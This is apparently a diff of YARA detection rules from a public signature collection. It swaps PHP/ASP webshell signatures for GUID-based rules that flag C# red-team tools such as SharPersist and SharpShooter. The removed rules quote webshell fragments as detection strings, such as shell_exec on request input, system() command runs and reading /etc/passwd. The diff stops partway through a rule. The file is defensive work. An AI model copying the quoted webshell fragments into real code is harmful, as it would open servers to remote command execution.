+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3fffebded16430beae82315532548a4c035f4c9e92a893f441b1d5049d97f73a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s12 = "$dump .= \"-- Dumping data for table '$table'\\n\";" fullword
-		$s20 = "$dump .= \"CREATE TABLE $table (\\n\";" fullword
+		$typelibguid0lo = "3da2f6de-75be-4c9d-8070-08da45e79761" ascii wide
+		$typelibguid0up = "3DA2F6DE-75BE-4C9D-8070-08DA45E79761" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Phpspy_Ver_2006
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwitness : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file PhpSpy Ver 2006.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "adbb1963-31c8-5540-a679-c75b1101c163"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6557-L6571"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "34a89e0ab896c3518d9a474b71ee636ca595625d"
-		logic_hash = "69bd2c387b0e676168116f3b3c3c081e08fd555cc6bc9a94b9c8ef97f194b09f"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5e707da6-b2dd-511e-89ad-d19b93e8fca6"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rasta-mouse/SharpWitness"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2869-L2883"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7339e77168c23cc218892db37fad0a6806b15d57a83b75b5da53c2f5e04b327d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "var_dump(@$shell->RegRead($_POST['readregname']));" fullword
-		$s12 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
-		$s19 = "$program = isset($_POST['program']) ? $_POST['program'] : \"c:\\winnt\\system32"
-		$s20 = "$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\\winnt\\backdoor.exe'"
+		$typelibguid0lo = "b9f6ec34-4ccc-4247-bcef-c1daab9b4469" ascii wide
+		$typelibguid0up = "B9F6EC34-4CCC-4247-BCEF-C1DAAB9B4469" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Zyklonshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Rexcrypter : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file ZyklonShell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4d7ff3e5-4940-52c8-b045-5db1523f70c2"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6572-L6586"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3fa7e6f3566427196ac47551392e2386a038d61c"
-		logic_hash = "5d49f2599781836156f6bbb0c50cfcffdb2ca51c7cb688abbc6245d7f856ad01"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5ebbeab3-3e93-5544-8f74-3d1b47335d8b"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/syrex1013/RexCrypter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2885-L2899"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "82edeed1b6641c45ab7e41eb0d98416760c3af9998bf391905192d732e658cc1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "The requested URL /Nemo/shell/zyklonshell.txt was not found on this server.<P>" fullword
-		$s1 = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" fullword
-		$s2 = "<TITLE>404 Not Found</TITLE>" fullword
-		$s3 = "<H1>Not Found</H1>" fullword
+		$typelibguid0lo = "10cd7c1c-e56d-4b1b-80dc-e4c496c5fec5" ascii wide
+		$typelibguid0up = "10CD7C1C-E56D-4B1B-80DC-E4C496C5FEC5" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Myshell_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpersist : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file myshell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_php_webshells_myshell"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6587-L6602"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5bd52749872d1083e7be076a5e65ffcde210e524"
-		logic_hash = "7765e43189d6ec0cda0b58d00cfd7fc8cec89287dbac7487083b6ce1ce55f306"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0c181186-7bb4-502b-8937-60cfd88ce689"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/fireeye/SharPersist"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2901-L2915"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "85a96c0fcbbc0ddb2fd0eab77c33976345120e575e5954e35bb4a61ff534b15a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if($ok==false &&$status && $autoErrorTrap)system($command . \" 1> /tmp/outpu"
-		$s5 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
-		$s15 = "<title>$MyShellVersion - Access Denied</title>" fullword
-		$s16 = "}$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTT"
+		$typelibguid0lo = "9d1b853e-58f1-4ba5-aefc-5c221ca30e48" ascii wide
+		$typelibguid0up = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Lolipop
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2019_1253 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file lolipop.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6603-L6616"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "86f23baabb90c93465e6851e40104ded5a5164cb"
-		logic_hash = "8b0dcf76a244f80d4bee0c62189df55c1f8d71cf0900cd8ebb5916f5fe972bed"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3e18b533-1b85-5eaf-bb3d-aa5b90fd2e28"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/padovah4ck/CVE-2019-1253"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2917-L2931"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "964b3c21297295833a702160fc292dcbb06573e5341b81dfc05b641246c4b019"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "$commander = $_POST['commander']; " fullword
-		$s9 = "$sourcego = $_POST['sourcego']; " fullword
-		$s20 = "$result = mysql_query($loli12) or die (mysql_error()); " fullword
+		$typelibguid0lo = "584964c1-f983-498d-8370-23e27fdd0399" ascii wide
+		$typelibguid0up = "584964C1-F983-498D-8370-23E27FDD0399" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Simple_Cmd
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Scout : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file simple_cmd.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1fd0c01a-c265-5e30-ab36-e8e93e316fbe"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6617-L6631"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "466a8caf03cdebe07aa16ad490e54744f82e32c2"
-		logic_hash = "82a65f4bbdcd2fc626aa9f36fe530d19aa19a48389e970c26e525597818914ee"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "cd24cca7-3bc0-5e7a-9817-dc3b26ec8358"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/jaredhaight/scout"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2933-L2947"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8bd735b4c4c3af209475b633c00fc8f01b2e9a3a5e5e29557a578d87e7bd0836"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
-		$s2 = "<title>G-Security Webshell</title>" fullword
-		$s4 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
-		$s6 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
+		$typelibguid0lo = "d9c76e82-b848-47d4-8f22-99bf22a8ee11" ascii wide
+		$typelibguid0up = "D9C76E82-B848-47D4-8F22-99BF22A8EE11" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Go_Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Grouper2 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file go-shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "63eaf530-050a-5db7-8885-d4a1e86d62de"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6632-L6647"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3dd85981bec33de42c04c53d081c230b5fc0e94f"
-		logic_hash = "f2fcefb9a0536c80fa74ceb002e113f95de53d1f56e22c81b542c395dd11071d"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "a9cd9a16-b2a5-5d15-af89-7a8d0f1835bb"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/l0ss/Grouper2/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2949-L2963"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c1909e40b587d86766ff393cc056352ffaf40f2b56c3a1217b1526cc42e4eb7"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "#change this password; for power security - delete this file =)" fullword
-		$s2 = "if (!defined$param{cmd}){$param{cmd}=\"ls -la\"};" fullword
-		$s11 = "open(FILEHANDLE, \"cd $param{dir}&&$param{cmd}|\");" fullword
-		$s12 = "print << \"[kalabanga]\";" fullword
-		$s13 = "<title>GO.cgi</title>" fullword
+		$typelibguid0lo = "5decaea3-2610-4065-99dc-65b9b4ba6ccd" ascii wide
+		$typelibguid0up = "5DECAEA3-2610-4065-99DC-65B9B4BA6CCD" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Azrailphp_V1_0_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Casperstager : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file aZRaiLPhp v1.0.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "10546549-e16d-567d-9d88-3d37fe8ff03f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_aZRaiLPhp_v1_0"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6648-L6663"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a2c609d1a8c8ba3d706d1d70bef69e63f239782b"
-		logic_hash = "8309338bb327cc14ae5970bd921b3dba68353d55be31b9dbbc5374ded24ed563"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0ad18d2b-b7cc-5316-a8e8-b05d4439b8e1"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/ustayready/CasperStager"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2965-L2981"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ac00affab78024da7a1cfa6e6fd43c6a8f3c7fec59499a85c1330ee593488eb"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<font size='+1'color='#0000FF'>aZRaiLPhP'nin URL'si: http://$HTTP_HOST$RED"
-		$s4 = "$fileperm=base_convert($_POST['fileperm'],8,10);" fullword
-		$s19 = "touch (\"$path/$dismi\") or die(\"Dosya Olu" fullword
-		$s20 = "echo \"<div align=left><a href='./$this_file?dir=$path/$file'>G" fullword
+		$typelibguid0lo = "c653a9f2-0939-43c8-9b93-fed5e2e4c7e6" ascii wide
+		$typelibguid0up = "C653A9F2-0939-43C8-9B93-FED5E2E4C7E6" ascii wide
+		$typelibguid1lo = "48dfc55e-6ae5-4a36-abef-14bc09d7510b" ascii wide
+		$typelibguid1up = "48DFC55E-6AE5-4A36-ABEF-14BC09D7510B" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Webshells_Zehir4
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Tellmeyoursecrets : FILE
 {
 	meta:
-		description = "Webshells Github Archive - file zehir4"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6664-L6677"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "788928ae87551f286d189e163e55410acbb90a64"
-		logic_hash = "36b6940ffecd9be190cce62252ec7d87f1c0bc0d19b4442df63f4404eb316364"
-		score = 55
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b00c353b-0446-5faa-87e5-0a7ba6ec2286"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/0xbadjuju/TellMeYourSecrets"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2983-L2997"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cabb37be30a62ef6055e6b6a8f5cd1b9f51b231d254419a94aedd5ddfb992376"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "frames.byZehir.document.execCommand(command, false, option);" fullword
-		$s8 = "response.Write \"<title>ZehirIV --> Powered By Zehir &lt;zehirhacker@hotmail.com"
+		$typelibguid0lo = "9b448062-7219-4d82-9a0a-e784c4b3aa27" ascii wide
+		$typelibguid0up = "9B448062-7219-4D82-9A0A-E784C4B3AA27" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Zehir4_Asp_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpexcel4_DCOM : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file zehir4.asp.php.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7a849bc6-fff5-5bb6-aff7-660889fd077b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6678-L6691"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1d9b78b5b14b821139541cc0deb4cbbd994ce157"
-		logic_hash = "dfaf685ac3b364143bfbe289b05f066b09f01622fec3e9157f4b4791f7567619"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "12d3f26b-40ca-5034-a7c2-9be9c8a7599b"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rvrsh3ll/SharpExcel4-DCOM"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2999-L3013"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "abc87f0ed51f044633ef7854610cd16460eefad570c31c7fe854d245229cceb3"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "response.Write \"<title>zehir3 --> powered by zehir &lt;zehirhacker@hotmail.com&"
-		$s11 = "frames.byZehir.document.execCommand("
-		$s15 = "frames.byZehir.document.execCommand(co"
+		$typelibguid0lo = "68b83ce5-bbd9-4ee3-b1cc-5e9223fab52b" ascii wide
+		$typelibguid0up = "68B83CE5-BBD9-4EE3-B1CC-5E9223FAB52B" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Lostdc
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshooter : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file lostDC.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6692-L6707"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d54fe07ea53a8929620c50e3a3f8fb69fdeb1cde"
-		logic_hash = "e3cd28f4a72f5a8a92c728fe76a7159c28256e87daf4c1dd10190a57263f5b45"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "a59e6fe9-dbaf-5830-8cf1-485ff4dd939a"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/mdsecactivebreach/SharpShooter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3015-L3029"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8a8510a680205c09321b8d1a960f1b8026883aede5224e8fe541727a434312b4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'<br />';" fullword
-		$s4 = "header ( \"Content-Description: Download manager\" );" fullword
-		$s5 = "print \"<center>[ Generation time: \".round(getTime()-startTime,4).\" second"
-		$s9 = "if (mkdir($_POST['dir'], 0777) == false) {" fullword
-		$s12 = "$ret = shellexec($command);" fullword
+		$typelibguid0lo = "56598f1c-6d88-4994-a392-af337abe5777" ascii wide
+		$typelibguid0up = "56598F1C-6D88-4994-A392-AF337ABE5777" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Casus_1_5
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Nomsbuild : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file CasuS 1.5.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cf89d8f8-d498-57fe-98eb-a98350db182f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6708-L6721"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7eee8882ad9b940407acc0146db018c302696341"
-		logic_hash = "0dbaa39bd33047d24e5bc9716108c5581da3f54e93d90f9c550b3d84de1ebfe2"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9bc0661d-c60f-582b-8f88-87e3dfa13ddd"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rvrsh3ll/NoMSBuild"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3031-L3047"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3979162455153d586036960f3cf2a90a893541900245c4184e55631d2138ba75"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "<font size='+1'color='#0000FF'><u>CasuS 1.5'in URL'si</u>: http://$HTTP_HO"
-		$s8 = "$fonk_kap = get_cfg_var(\"fonksiyonlary_kapat\");" fullword
-		$s18 = "if (file_exists(\"F:\\\\\")){" fullword
+		$typelibguid0lo = "034a7b9f-18df-45da-b870-0e1cef500215" ascii wide
+		$typelibguid0up = "034A7B9F-18DF-45DA-B870-0E1CEF500215" ascii wide
+		$typelibguid1lo = "59b449d7-c1e8-4f47-80b8-7375178961db" ascii wide
+		$typelibguid1up = "59B449D7-C1E8-4F47-80B8-7375178961DB" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Ftpsearch
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Teleshadow2 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file ftpsearch.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9db8f00a-1843-5057-b8c7-a7f7b63e0659"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6722-L6736"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c945f597552ccb8c0309ad6d2831c8cabdf4e2d6"
-		logic_hash = "6b32553be4fdf26776e3cbb8a5d4d011d88f2bd50949b65934df72b89065aeec"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5b22f2c4-0bd1-5a5a-8867-8fbc773d2b44"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/ParsingTeam/TeleShadow2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L3049-L3065"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "effe10487be132548eb56eb5bfc97f394669a153c9a885e3461e5f9e94bf66f8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "echo \"[-] Error : coudn't read /etc/passwd\";" fullword
-		$s9 = "@$ftp=ftp_connect('127.0.0.1');" fullword
-		$s12 = "echo \"<title>Edited By KingDefacer</title><body>\";" fullword
-		$s19 = "echo \"[+] Founded \".sizeof($users).\" entrys in /etc/passwd\\n\";" fullword
+		$typelibguid0lo = "42c5c356-39cf-4c07-96df-ebb0ccf78ca4" ascii wide
+		$typelibguid0up = "42C5C356-39CF-4C07-96DF-EBB0CCF78CA4" ascii wide
+		$typelibguid1lo = "0242b5b1-4d26-413e-8c8c-13b4ed30d510" ascii wide
